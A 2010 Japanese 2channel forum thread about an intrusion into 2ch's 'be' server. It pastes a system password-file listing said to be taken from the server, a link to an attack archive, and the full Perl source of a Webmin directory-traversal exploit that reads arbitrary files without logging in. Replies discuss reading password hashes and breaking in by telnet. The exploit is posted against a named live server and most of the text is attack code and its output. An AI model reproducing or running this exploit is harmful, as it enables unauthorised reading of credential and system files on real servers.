【緊急】 ２ちゃんねるがハッキングされる

【緊急】 ２ちゃんねるがハッキングされる
http://tsushima.2ch.net/test/read.cgi/news/1278398361/


316 ：動け動けウゴウゴ２ちゃんねる：2010/07/05(月) 22:17:00 ID:pt8ldFcw0
be鯖のやばすぎる脆弱性見つけちゃったけど

# $FreeBSD: src/etc/master.passwd,v 1.25.2.6 2002/06/30 17:57:17 des Exp $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin
news:*:8:8:News Subsystem:/:/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/sbin/nologin
miniadm:*:10:0:User &:/root:/bin/csh
miniroot:*:0:0:User &:/root:/bin/csh
mysql:*:1000:1000:mysql user:/home/mysql:/bin/sh
fblog:*:1002:1002:fblog:/home/fblog:/bin/sh
ch2be:*:1003:1003:ch2be:/home/ch2be:/bin/tcsh

http://be.2ch.net:10000/

ここにあったツール実行しただけ
http://under.up.bit.ly/bUdIof#attack.zip

#ソースコード

#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
my $userag = LWP::UserAgent->new;
if (@ARGV < 4) {
print("Usage: $0 <url> <port> <filename> \n");
exit(1);
}
($target, $port,$filename, $tar) = @ARGV;
$tar = 0;
print("WEBMIN EXPLOIT !!!!! coded by UmZ!\n");
print("Comments and Suggestions are welcome at umz32.dll [at] gmail.com\n");
print("Vulnerability disclose at securitydot.net\nI am just coding it in perl 'cuz I hate PHP!\n");
print("Attacking $target on port $port!\n");
print("FILENAME: $filename\n");
$temp="/..%01" x 40;
my $url= "http://". $target. ":" . $port ."/unauthenticated/".$temp . $filename;
$content=get $url;

print("\n FILE CONTENT STARTED");
print("\n -----------------------------------\n");

print("$content");
print("\n -------------------------------------\n");

たったか

脆弱性をついて、既に乗っ取り済みだから
こんなスクリプトでもリモートホスト上のファイルが
自由に取ってこれますよってこと？

webmin詳しい人、誰か教えてクレクレ

もともとひろゆきが放置していた脆弱性が今回発覚
それを利用したスクリプトが>>2
誰かが乗っ取ったわけじゃなく元から糞だった

root権限レベルで鯖内のどのファイルも見れる
見れるだけで書き換えはできないけどマスターパスワードが見れるからMD5は確認可能
そこからパス見つけてtelnet侵入した奴もいるみたい
ちなみに修正はしばらく先まで不可能

>>5
情報ありがとー。

ってことは、ひろゆきが開けた穴を
誰かが便乗して使ったってことかw
既にログインしてるやつが居るのは
怖いね。

とりあえずwebminの穴ふさげば
対応完了かの。がんばれ運営

>>6
それがそういうわけにはいかない
この鯖をrootで触れるのはひろゆきとサザンの二人だけ、つまり誰も今すぐに触れない
SQLの方はなんとかなったがbe鯖事態は見え放題に変わりない

あとログインっていっても鯖内ファイル消した奴がいただけでログインの確証はない
というか痕跡が残ってない

とりあえずどうするかこれから決める幹事みたい

またモペキチの仕業？